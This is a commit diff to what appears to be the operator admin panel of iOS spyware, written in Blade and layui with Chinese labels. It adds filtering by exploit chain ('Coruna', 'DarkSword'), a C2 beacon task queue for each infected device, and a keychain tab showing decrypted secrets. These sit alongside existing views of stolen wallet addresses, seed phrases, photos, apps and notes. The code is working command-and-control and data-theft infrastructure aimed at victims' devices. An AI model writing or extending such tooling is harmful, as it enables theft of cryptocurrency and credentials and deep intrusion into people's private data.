feat: ds
This commit is contained in:
@@ -13,6 +13,16 @@
|
||||
<input type="text" name="device_key" placeholder="设备 ID" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">利用链</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="family">
|
||||
<option value="">全部</option>
|
||||
<option value="coruna">Coruna</option>
|
||||
<option value="darksword">DarkSword</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
@include('admin.partials.filter_channel_select')
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
@@ -109,6 +119,11 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
cols: [[
|
||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||||
{ field: 'device_id', title: '设备 ID', minWidth: 180, sort: true },
|
||||
{ field: 'family', title: '利用链', width: 120, templet: function (d) {
|
||||
var ds = d.family === 'darksword';
|
||||
return '<span class="tag-chain ' + (ds ? 'tag-chain-darksword' : 'tag-chain-coruna') + '">' +
|
||||
(ds ? 'DarkSword' : 'Coruna') + '</span>';
|
||||
} },
|
||||
{ field: 'channel_id', title: '渠道 ID', width: 140, sort: true, templet: function (d) { return dash(d.channel_id); } },
|
||||
{ field: 'device_model', title: '设备型号', width: 130, sort: true, templet: function (d) { return dash(d.device_model); } },
|
||||
{ field: 'ios_version', title: 'iOS 版本', width: 110, sort: true, templet: function (d) { return dash(d.ios_version); } },
|
||||
|
||||
@@ -16,6 +16,16 @@
|
||||
<th width="140">渠道 ID</th>
|
||||
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>利用链</th>
|
||||
<td colspan="3">
|
||||
@if (($device->family ?: \App\Models\Device::FAMILY_CORUNA) === \App\Models\Device::FAMILY_DARKSWORD)
|
||||
<span class="tag-chain tag-chain-darksword">DarkSword</span>
|
||||
@else
|
||||
<span class="tag-chain tag-chain-coruna">Coruna</span>
|
||||
@endif
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>设备型号</th>
|
||||
<td>{{ $device->device_model ?: '—' }}</td>
|
||||
@@ -63,11 +73,66 @@
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
@if (($beaconTasks ?? collect())->isNotEmpty())
|
||||
@php
|
||||
$queuePending = $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_PENDING);
|
||||
$queueCurrent = $queuePending
|
||||
?? $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED);
|
||||
@endphp
|
||||
<div class="layui-elem-quote" style="margin:0 0 16px;">
|
||||
C2 队列
|
||||
@if ($queuePending)
|
||||
· 下一条 <code>{{ $queuePending->type }}</code>
|
||||
@elseif ($beaconTasks->contains('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED))
|
||||
· 已下发未回传,下一轮 /beacon 会重试
|
||||
@else
|
||||
· 本轮已回传,之后继续轮询钱包/相册/应用
|
||||
@endif
|
||||
</div>
|
||||
<table class="layui-table" style="margin-bottom: 16px;">
|
||||
<thead>
|
||||
<tr>
|
||||
<th width="60">#</th>
|
||||
<th width="180">任务</th>
|
||||
<th width="120">状态</th>
|
||||
<th width="180">下发时间</th>
|
||||
<th width="180">回传时间</th>
|
||||
<th>回传</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
@foreach ($beaconTasks as $task)
|
||||
@php
|
||||
$rowStyle = $queueCurrent && $task->id === $queueCurrent->id ? 'background:#fff7ed;' : '';
|
||||
@endphp
|
||||
<tr style="{{ $rowStyle }}">
|
||||
<td>{{ $task->position }}</td>
|
||||
<td><code>{{ $task->type }}</code> {{ $task->typeLabel() }}</td>
|
||||
<td>{{ $task->statusLabel() }}</td>
|
||||
<td>{{ $task->dispatched_at ?: '—' }}</td>
|
||||
<td>{{ $task->completed_at ?: '—' }}</td>
|
||||
<td class="wrap">
|
||||
@if ($task->result_count)
|
||||
{{ $task->result_count }} 次
|
||||
@if (!empty($task->result_meta['filename']))
|
||||
· {{ $task->result_meta['filename'] }}
|
||||
@endif
|
||||
@else
|
||||
—
|
||||
@endif
|
||||
</td>
|
||||
</tr>
|
||||
@endforeach
|
||||
</tbody>
|
||||
</table>
|
||||
@endif
|
||||
|
||||
<div class="layui-tab layui-tab-brief" style="margin-bottom: 0;">
|
||||
<ul class="layui-tab-title">
|
||||
@php $tabs = [
|
||||
'wallets' => '钱包地址',
|
||||
'mnemonics' => '助记词',
|
||||
'keystores' => '钥匙串',
|
||||
'photos' => '相册',
|
||||
'apps' => '已装 APP',
|
||||
'notes' => '备忘录',
|
||||
@@ -192,7 +257,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
form.render('checkbox');
|
||||
|
||||
$('#LAY-device-destroy').on('click', function () {
|
||||
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、日志等全部关联数据,且不可恢复。', {
|
||||
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、C2 队列、DS 阶段日志、访问记录及该设备的 DS 文件日志,且不可恢复。', {
|
||||
icon: 3,
|
||||
title: '删除设备'
|
||||
}, function (index) {
|
||||
@@ -362,6 +427,20 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
{ field: 'mnemonic', title: 'Mnemonic', minWidth: 220, templet: function (d) { return '<code>' + esc(d.mnemonic) + '</code>'; } },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
|
||||
]],
|
||||
keystores: [[
|
||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||||
{ field: 'source', title: '来源', width: 140, sort: true, templet: function (d) { return esc(d.source || '未知'); } },
|
||||
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
|
||||
return Number(d.decrypted) === 1 ? '是' : '否';
|
||||
} },
|
||||
{ field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } },
|
||||
{ field: 'item_count', title: '条目', width: 70 },
|
||||
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
|
||||
{ title: '操作', width: 110, align: 'center', templet: function (d) {
|
||||
return d.items_url ? '<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看</a>' : '—';
|
||||
} }
|
||||
]],
|
||||
apps: [[
|
||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||||
{ field: 'name', title: '名称', minWidth: 140, sort: true, templet: function (d) { return dash(d.name); } },
|
||||
@@ -391,6 +470,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
var emptyMap = {
|
||||
wallets: '暂无地址',
|
||||
mnemonics: '暂无助记词',
|
||||
keystores: '暂无钥匙串',
|
||||
apps: '暂无应用',
|
||||
notes: '暂无备忘录',
|
||||
events: '暂无日志'
|
||||
@@ -412,6 +492,45 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
if (tab === 'keystores') {
|
||||
table.on('tool(LAY-device-tab-list)', function (obj) {
|
||||
if (obj.event !== 'items' || !obj.data.items_url) return;
|
||||
layer.load(1);
|
||||
$.getJSON(obj.data.items_url, function (res) {
|
||||
layer.closeAll('loading');
|
||||
if (!res || res.code !== 0) {
|
||||
return layer.msg((res && res.msg) || '加载失败');
|
||||
}
|
||||
var d = res.data || {};
|
||||
var items = d.items || [];
|
||||
var html = '<div style="padding:12px 16px 16px;"><div style="color:#666;font-size:13px;margin-bottom:10px;">#' +
|
||||
esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') +
|
||||
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
|
||||
' · ' + items.length + ' 条</div>';
|
||||
if (!items.length) {
|
||||
html += '<div style="color:#999;padding:24px 0;text-align:center;">暂无条目</div></div>';
|
||||
} else {
|
||||
html += '<table class="layui-table"><thead><tr>' +
|
||||
'<th>Account</th><th>Service</th><th>Access Group</th><th>Class</th><th>长度</th><th>预览</th>' +
|
||||
'</tr></thead><tbody>';
|
||||
items.forEach(function (it) {
|
||||
html += '<tr><td><code>' + esc(it.account || it.path || '—') + '</code></td>' +
|
||||
'<td>' + dash(it.service) + '</td>' +
|
||||
'<td><code>' + esc(it.access_group || '') + '</code></td>' +
|
||||
'<td>' + dash(it.protection_class) + '</td>' +
|
||||
'<td>' + esc(it.data_len) + '</td>' +
|
||||
'<td class="wrap"><code>' + esc(it.data_preview || '') + '</code></td></tr>';
|
||||
});
|
||||
html += '</tbody></table></div>';
|
||||
}
|
||||
layer.open({ type: 1, title: '钥匙串 #' + (d.id || ''), area: ['920px', '70%'], content: html });
|
||||
}).fail(function () {
|
||||
layer.closeAll('loading');
|
||||
layer.msg('加载失败');
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
if (tab === 'wallets') {
|
||||
form.render('select');
|
||||
form.on('submit(LAY-wallet-search)', function (data) {
|
||||
|
||||
Reference in New Issue
Block a user